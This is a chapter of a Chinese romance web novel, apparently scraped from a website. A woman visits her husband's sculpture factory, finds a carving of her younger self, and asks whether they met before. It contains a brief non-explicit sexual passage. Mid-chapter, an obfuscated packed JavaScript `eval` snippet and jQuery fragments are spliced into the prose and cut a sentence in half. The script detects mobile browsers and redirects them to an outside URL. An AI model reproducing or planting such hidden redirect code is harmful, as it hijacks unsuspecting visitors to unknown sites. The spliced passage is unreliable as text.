易焯的工厂规模不大,距离却远。
工作室就建在一边,工作也挺方便。
车子开到目的地时,常絮语倚在副驾驶,轻轻的有规律的呼吸着,还没睡醒。
易焯往嘴里放了颗薄荷糖,闭上眼休息一会。
车里安静的只有平稳的呼吸声和和时不时的衣料摩擦声。
带着一丝苦涩的薄荷糖在口腔里化开后,男人睁开眼,清醒不少。
他小心翼翼的推开车门,走到另一边打开,轻缓的将常絮语抱了出来。
常絮语睡的浅,他动作虽轻,她依然醒了过来。
忽然来到陌生的地方,她揉了揉眼,看着眼前陌生的建筑,有些新奇。
“这么快就到了!”
易焯低头看了看腕表:“你睡了一个小时。”
她一愣。
“这么久啊......”
“走吧。”
两个人慢慢走过去,远看,厂的规模不算很大,走的近了,发现麻雀虽小,五脏俱全。
大门有人守着,易焯自窗前冲那人点点头,刷着红油漆的门就开了。
易焯忽然握住她的手,力道不重,将她微凉的手包裹的严严实实,她感觉到自指尖传递到身体上的温度。
他很少牵她的手。
碰巧有员工从从厂里叼着烟往外走,透过烟雾看见对面走来的易焯牵着个长发的女人,面上一喜。
他跑过去,看着常絮语问:“哟!老板,这位是……”
还没见过他这个冷脸老板身边有过什么红颜知己之类的人,今天这是咋了?
男人盯着常絮语看了看,黑长直,外面的皮肤白皙,一身素净的配色很舒服的着装,虽看不见全脸,却也能看出来是个很有气质的美女。
她闷着头,闻言微微抬起来,露出一双水灵的杏眼,樱唇轻抿,粉腮桃若。
真是个美女!
易焯“嗯”了一声,停下来稍顿了顿,然后介绍道:“这位是我妻子,姓常,今天不上班,跟着我来看看。”
常絮语微微发愣的看着他。
他竟然就这么大方的承认了这段关系。
即使最后要离婚,面子上落不得好,他也没有否认她的身份。
反观她就很畏首畏尾,不愿意在人前承认他们的关系,主要是觉得自己以后面子上不好看。
想到这,常絮语抿唇,心里漾起一丝酸涩。
吃瓜的男人瞪大眼睛,看着跟自家老板的硬汉气质完全不搭边的常絮语。
“老板,你啥时候结的婚啊?”
瞒的真严实,这边都没人知道。
太突然了。
“前不久。”
易焯淡声答。
那人推了推鼻梁上沾了灰的眼镜框子,咧嘴笑:“得嘞!手上这一单的货快做完了,嫂子第一次来,正好能多看看!”
这里的聘用的员工不多,听易焯提起过,几乎全是雕塑或设计专业出身的年轻人。
她对着他轻轻弯唇,点了点头。
易焯攥紧她的手,继续往前走。
身上忽然暖烘烘的。
她半张脸缩在厚厚的围巾里,面颊泛起一抹谁也看不见的粉红。
男人牵着她先去了工作室。
屋子里有暖气,一进门瞬间暖和了不少,常絮语吸了吸鼻子,慢慢的从他手中退出来,假意摆弄着围巾,趁机喘口气。
过了一会,她定睛观望周围,艺术工作者的工作室比寻常的办公室要大,室内不起眼的位置养着几盆绿植,叶片发黄,大概是易焯没时间照看。
中间摆着一张很长的实木桌子,摆着一堆样品的模型,旁边还有几张绘图桌,凌乱的手稿散的到处都是。
常絮语不是设计类专业,没怎么见过这样的桌子,在画室上班的时候,她跟学生一样,画画用的通常是画凳。她上手摸了摸,再拿起几张手稿看,不光有模型的设计图,还有一些室内平面绘图。
她捡起来看了看,虽然不太懂设计,不过身边不乏有设计专业毕业的同事和朋友。
技多不压身,况且易焯的雕塑生意做得也不大,看他的收入,若说没有副业那不大可能。
易焯将外套脱下来放在一边,淡声:“昨天晚上有人在这加班。”
加班的太累了,还没来得及收拾。
“你先去里面的办公室坐一会,想画画就出来,这里什么都有,困了就睡会,我先去厂里忙。”
说着,他走过去将帘子打开,阳光透过玻璃窗照进来,对面显出一扇门,牌子上写着“办公室”。
常絮语目送他离开,又在工作室转了一圈,拿着喷壶给盆栽喷了喷水,将满地的手稿收在一起放好,大致整理了一番。
做美术老师的,都喜欢把自己的一亩三分地收拾的干净整洁,这是从学生时代就养成的习惯。
她将办公室的门轻轻推开,不出意外,易焯办公室的装潢也依旧朴素,不同于外面的多人工作室一样,这件屋子很干净。
她舒了口气,把门关好,走了进去。
屋子里的陈设很简单,书柜不少,里面陈列着许多专业上的书籍。桌上除了电脑和键盘外,再没有什么多余的东西。
她缓缓坐下来,看着周围这一切,莫名想笑。
他还真的是……不像从事艺术工作的人。
连办公室都布置的这么中规中矩,连块摆放奖杯证书的展柜都没有设计。
不过她是知道的,易焯肯定有很多证书和奖杯。
想在艺术界有一定的名气,不仅仅手头功夫要硬,奖项和荣誉也是必不可少。
坐了一会,她偶然瞥见文件的角落处有一个很小的木雕。
不是很起眼,她好奇着凑近,将木雕拖出来捧在手掌心里看,竟然是个小少女的造型。
少女的形象雕刻的十分细致,眉眼弯弯笑起来像月亮,两腮还有一点婴儿肥,头顶带着一个贝蕾帽,很眼熟。
雕塑专业的大多造型能力很好,这是他们的优势,像易焯这样的业界佼佼者,自然做的更好。
这五官,怎么看,怎么像她......
嗯?
她眯了眯眼,贝蕾帽是高中的时候姑姑给她买的,姑姑很喜欢打扮她,说戴上那个帽子很有艺术家的气质。
观摩着这个小木雕,常絮语心里微微惊异。
因为这个帽子很早之前就丢了,至于怎么丢的,显然,她早就忘了。
他怎么会雕出这样的形象?
将木雕翻了个面,低端还有一排很小的刻字——
“2013年,《絮语》。”
这幅作品叫《絮语》,是她的名字。
而2013那一年,她十八岁,刚刚考上央美。
她自认为记得最清楚的就是2013年,那年全机构出了三个央美的,只有她是应届生,一年就考上了,很多人夸她天赋异禀,却很少有人知道她在不起眼的角落里努力填补色彩天赋上的空缺。
终于功夫不有心人,经历完那两年的艺考、校考、高考,她真的考上了。
将木雕放回原位置,常絮语有些疑虑,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448153|185189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些错诧,情不自禁的抠着指甲发呆。
可她以前,从来不记得有“易焯”这样一个人。
这个男人的出现,就好比是雪夜路灯下逆光而来的存在,那样张扬、突兀,毫无征兆的出现在她的世界里,好像自从认识他,她的生命轨迹就被悄无声息改变了一样。
明明,最初的她,只是为了摆脱家里一而再再而三的催促,才跟这样一个各方面条件都凑合的男人绑在了一起。
而他,恰好也有理由,打定主意,好像非她不可......
初见时,她就从他的眼神里看到了如同野兽一样对猎物势在必得的野心和渴望。
就连在床上,他对她的疯狂也丝毫不见收敛,将汗液和情话糅杂在一起,不断的深入,好似要将她生吞活剥、吞之入腹。
那样猛烈的爱意,或许她这一生都不会再从第二个人身上感受到了。
所以她到底忘记过什么?
*
常絮语鬼使神差的走了出去。
外面的冷气扑面袭来,像是卷携着钢针,毫不留情的刺向她的皮肤。
进到厂子里,看见易焯咬着根烟,穿着背心在拆泥。
男人动作有序不紊,肩宽腿长,留着一头利落的短发站在光晕里,很惹眼。
一边是做3D打印技术雕塑这些快活的工人,最后统一上色。
她觉得很新奇,四处看着,一边将水递给他,看着他拆了一半的泥塑人头,默默地观摩。
易焯回头,将烟掐灭。
“挺重要的客户托的单,员工没做好,拆了,我再重新做。”他淡声。
能让易焯亲手做的泥塑,客户肯定十分重要。
余光瞥见那个拆了一半的头,好像是个女人形象。
厚唇肆意扬起,下巴尖的像锥子,分外妖艳。
常絮语多看了两眼,没有多问。
易焯仰头将水喝完,手臂屈伸间,连带着额上细细的汗能看得一清二楚,淌在他流畅的肌肉线条上。
“累了就休息一会吧。”她道。
做雕塑是个体力活。
“没事。”
常絮语站在一边看着他,犹豫再三,也没有上前再跟他说话。
倒是员工们对她都十分好奇,争先恐后的来跟这个漂亮文静的老板娘唠一唠话。
易焯皱了皱眉,上前将一群人散开,套上毛衣径直牵住她的手往外走。
“里面闷的很,你找我做什么?”
走到一片空地他语气缓和下来,耐心询问她。
常絮语往后撤了两步,一只手搭下来,掩饰着鼓鼓囊囊的口袋。
她展开一张图,缓缓弯了下唇角,看着他。
易焯定睛看去。
是她刚刚画的画。
画面上,是一个戴着贝雷帽,提着方形手提包的姑娘,长头发大眼睛,有几分眼熟。
他皱了皱眉,忽然像是想到了什么,眸中泛起一丝涟漪。
常絮语抿了抿唇,从口袋里掏出那个木雕。
小小的少女木雕躺在她粉嫩的掌心里,分外契合。
他一愣,漆黑的眸子仿佛在某一瞬更加晦暗了些。
果真是他雕的《絮语》。
他提前将办公室所有的雕塑都藏了起来,唯独落下了这个。
男人敛神,将雕塑接了过来,攥在手中,闭了闭眼。
常絮语抬眸看着他,沉住气,缓声问了出来——
“易焯,所以,我们以前是不是在哪里见过?”
她想要他一句实话。